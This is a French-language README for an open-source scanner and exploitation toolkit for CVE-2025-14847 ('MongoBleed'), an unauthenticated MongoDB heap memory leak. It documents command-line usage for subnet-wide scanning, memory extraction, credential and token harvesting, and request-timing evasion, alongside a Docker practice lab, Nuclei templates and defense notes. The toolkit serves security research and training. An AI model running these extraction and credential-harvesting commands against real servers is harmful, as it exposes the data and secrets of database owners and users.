
Outil de scanner et d'exploitation CVE-2025-14847 (MongoBleed). Fuite de mémoire de tas MongoDB non authentifiée via la décompression zlib. Détection, extraction mémoire, analyse d'identifiants, scan CIDR/lot, modèles Nuclei et laboratoire CTF inclus
CVE-2025-14847 – Scanner et boîte à outils d'exploitation
Une boîte à outils de recherche en sécurité pour MongoBleed – une fuite mémoire critique non authentifiée dans la décompression zlib de MongoDB, permettant aux attaquants d'extraire des données sensibles de la mémoire heap du serveur sans authentification.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# Aucune dépendance externe – seulement la bibliothèque standard Python 3
cd cli
# Détecter si une cible est vulnérable (action par défaut)
python mongobleed.py -t localhost:27017
# Scanner tout un sous-réseau
python mongobleed.py -t 192.168.1.0/24
# Extraire la mémoire et analyser les identifiants
python mongobleed.py -t target:27017 -e --credentials
# Mode sécurisé – détection uniquement, pas d'exploitation
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # Outil en ligne de commande de scanner et d'exploitation
│ ├── mongobleed.py # Outil CLI principal
│ ├── requirements.txt # Dépendances Python (stdlib uniquement)
│ └── README.md # Documentation CLI
├── lab/ # Environnement de laboratoire CTF basé sur Docker
│ ├── docker-compose.yml # Configuration multi-conteneurs du lab
│ ├── vulnerable/ # Configurations MongoDB vulnérables
│ ├── patched/ # MongoDB patché pour comparaison
│ ├── no-zlib/ # Non exploitable (zlib désactivé)
│ ├── monitoring/ # Tableau de bord de visualisation des attaques
│ ├── warmup-heap.sh # Remplir la heap avec des données sensibles
│ └── README.md # Instructions de configuration du lab
├── nuclei/ # Modèles de scan Nuclei
│ ├── CVE-2025-14847.yaml # Modèle d'exploitation active
│ ├── CVE-2025-14847-safe.yaml # Modèle de détection sécurisé
│ └── README.md # Documentation des modèles Nuclei
├── docs/ # Documentation pédagogique
│ ├── README.md # Index du parcours d'apprentissage
│ ├── 01-fundamentals.md # Bases de MongoDB et de la mémoire
│ ├── 02-vulnerability.md # Plongée dans CVE-2025-14847
│ ├── 03-exploitation.md # Exploitation pratique
│ ├── 04-detection.md # Chasse et détection
│ └── 05-defense.md # Stratégies d'atténuation
└── README.md # Ce fichier
192.168.1.0/24, 10.0.0.0/16:27018)# Vérifier une seule cible
python mongobleed.py -t localhost:27017
# Vérifier avec sortie verbose
python mongobleed.py -t localhost:27017 -v
# Mode sécurisé – détection uniquement, jamais d'envoi de payload d'exploitation
python mongobleed.py -t localhost:27017 -s
# Afficher les informations de version
python mongobleed.py -t localhost:27017 --version
# Scanner un sous-réseau /24
python mongobleed.py -t 192.168.1.0/24
# CIDR avec port personnalisé
python mongobleed.py -t 10.0.0.0/24:27018
# Scanner à partir d'un fichier de cibles (les plages CIDR dans le fichier sont développées)
python mongobleed.py -T targets.txt -j 20 -o results.json
# Le fichier de cibles peut contenir des IP, host:port et plages CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# Extraire la mémoire (plage d'offsets par défaut 20-8192)
python mongobleed.py -t target:27017 -e
# Plage d'offsets personnalisée
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# Extraction continue (Ctrl+C pour arrêter)
python mongobleed.py -t target:27017 --continuous
# Forcer l'extraction même si la vérification de version n'est pas concluante
python mongobleed.py -t target:27017 -e --force
# Analyser la mémoire divulguée pour les identifiants et secrets
python mongobleed.py -t target:27017 -e --credentials
# Analyser spécifiquement les tokens
python mongobleed.py -t target:27017 -e --tokens
# Extraire les chaînes imprimables
python mongobleed.py -t target:27017 -e --strings
# Sortie hexdump
python mongobleed.py -t target:27017 -e --hexdump
# Ajouter un délai entre les requêtes (millisecondes)
python mongobleed.py -t target:27017 -e --delay 500
# Gigue aléatoire sur le délai
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# Détection sécurisée uniquement
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# Détection active
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# Scanner plusieurs cibles
nuclei -t nuclei/ -l targets.txt
# Démarrer tous les conteneurs
cd lab && docker compose up -d
# Services :
# - localhost:27017 MongoDB 4.4.29 (Vulnérable + zlib)
# - localhost:27018 MongoDB 6.0.26 (Vulnérable + zlib)
# - localhost:27019 MongoDB 8.0.16 (Vulnérable + zlib)
# - localhost:27020 MongoDB 8.0.17 (Patché)
# - localhost:27021 MongoDB 8.0.16 (Sans zlib – non exploitable)
# - localhost:8080 Tableau de bord de surveillance
# Préchauffer la heap avec des données sensibles avant l'exploitation
./warmup-heap.sh 27017 50
# Lancer l'exploit contre le lab
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Target :
-t, --target TARGET Hôte:port ou plage CIDR (ex. 192.168.1.0/24)
-T, --targets FILE Fichier contenant la liste des cibles (prend en charge CIDR par ligne)
Detection :
--detect Détecter si la cible est vulnérable (action par défaut)
--version Afficher la version de MongoDB
-s, --safe Mode sécurisé – détection uniquement, pas d'exploitation
Exploitation :
-e, --extract Extraire la mémoire par balayage d'offsets
--min-offset N Offset minimal à sonder (défaut : 20)
--max-offset N Offset maximal à sonder (défaut : 8192)
--continuous Mode d'extraction continue
--force Forcer l'extraction même si la vérification de version échoue
Analysis :
--credentials Analyser pour les identifiants
--tokens Analyser pour les tokens
--strings Extraire les chaînes imprimables
--hexdump Afficher l'hexdump
Evasion :
--delay MS Délai entre les requêtes (millisecondes)
--jitter Gigue aléatoire sur le délai